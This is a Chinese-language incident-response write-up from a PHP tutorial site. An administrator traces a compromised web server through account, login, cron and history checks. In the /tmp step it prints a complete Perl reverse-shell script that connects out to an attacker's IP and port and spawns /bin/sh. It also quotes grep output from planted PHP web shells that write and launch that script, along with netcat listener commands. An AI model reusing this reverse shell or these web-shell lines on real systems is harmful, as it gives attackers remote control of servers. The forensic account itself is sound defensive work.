网站地图    收藏   

主页 > 后端 > 网站安全 >

Web服务器捉虫速记 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] Web服务器捉虫速记一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为色情网站。马上登录服务器(半夜好困啊)。执行如下的步骤:!--[if !supportLists]--1、!--[endif]--检查...

 一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为色情网站。
 马上登录服务器(半夜好困啊)。执行如下的步骤:
 1、检查系统帐号,看有没有异常帐号--如冒充系统帐号,改一个字母,看起来像系统帐号,混淆视听。有的家伙狡猾的干活,创建个帐号为“…”极端不易察觉。
 2、检查最近登录用户的ip:last 查看9月9号以后到目前的情况,经确认,有一个ip来路不对。
 3、检查系统初始化文件inittab,运行级别为3,为发现异常。一些hacker喜欢在这里下手,加上respawn这样的行,保证他的程序被杀后自动重启,不屈不挠地抗争系统管理员的绞杀。
 4、检查运行级别目录的脚本,ls –al /etc/rc3.d ,未见异常。
 5、检查自动任务 crontab –l ,root用户和web运行用户www各检查一遍,未见任何异常。
 6、检查历史记录history 发现有安装sendmail的情形,问客户是否有这个,答:不是自己装的。
 7、检查web目录,发现其权限为777,这可让人不太放心了,心中猜想,可能是从这里下手了。
8、检查一下目录/tmp,发现有个文件不太对劲,文件名是spider_bc,打开看一下,是个perl脚本,其内容为:
 [root@localhost mysql]# more /tmp/spider_bc
 #!/usr/bin/perl
 use Socket;
 $cmd= "lynx";
 $system= 'echo "`uname -a`";echo"`id`";/bin/sh';
 $0=$cmd;
 $target=$ARGV[0];
 $port=$ARGV[1];
 $iaddr=inet_aton($target) || die("Error: $!\n");
 $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
 $proto=getprotobyname('tcp');
 socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
 connect(SOCKET, $paddr) || die("Error: $!\n");
 open(STDIN, ">&SOCKET");
 open(STDOUT, ">&SOCKET");
 open(STDERR, ">&SOCKET");
 system($system);
 close(STDIN);
 close(STDOUT);
 close(STDERR);
 据客户开发人员反应,这文件删除以后,一会又自动生成了。
 9、初步怀疑是hacker利用web权限设置及程序漏洞上传了程序后,自动生成这个文件,于是进入到网站根目录,然后执行grep –r “spider” * ,片刻,结果出来了,下面节录部分:
 [root@localhost www]# grep spider_bc * -r
 /plusbak/viev.php: echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';
 /plusbak/viev.php: echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
 /plusbak/viev.php: echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
 /plusbak/viev.php: @unlink('/tmp/spider_bc.c');
 /plusbak/viev.php: echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
 /developers/FCKeditor/editor/skins/images/images.php: echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';
 /developers/FCKeditor/editor/skins/images/images.php: echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
 /developers/FCKeditor/editor/skins/images/images.php: echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
 /developers/FCKeditor/editor/skins/images/images.php: @unlink('/tmp/spider_bc.c');
 /developers/FCKeditor/editor/skins/images/images.php: echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
 /developers/developers/cache/default/index_sql.php : echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';
 /developers/developers/cache/default/index_sql.php : echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
 /developers/developers/cache/default/index_sql.php : echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
 /developers/developers/cache/default/index_sql.php : @unlink('/tmp/spider_bc.c');
 /developers/developers/cache/default/index_sql.php : echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
 9、问题基本查明,告知各方,先简单恢复,明日再战。

作者 “sery”

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论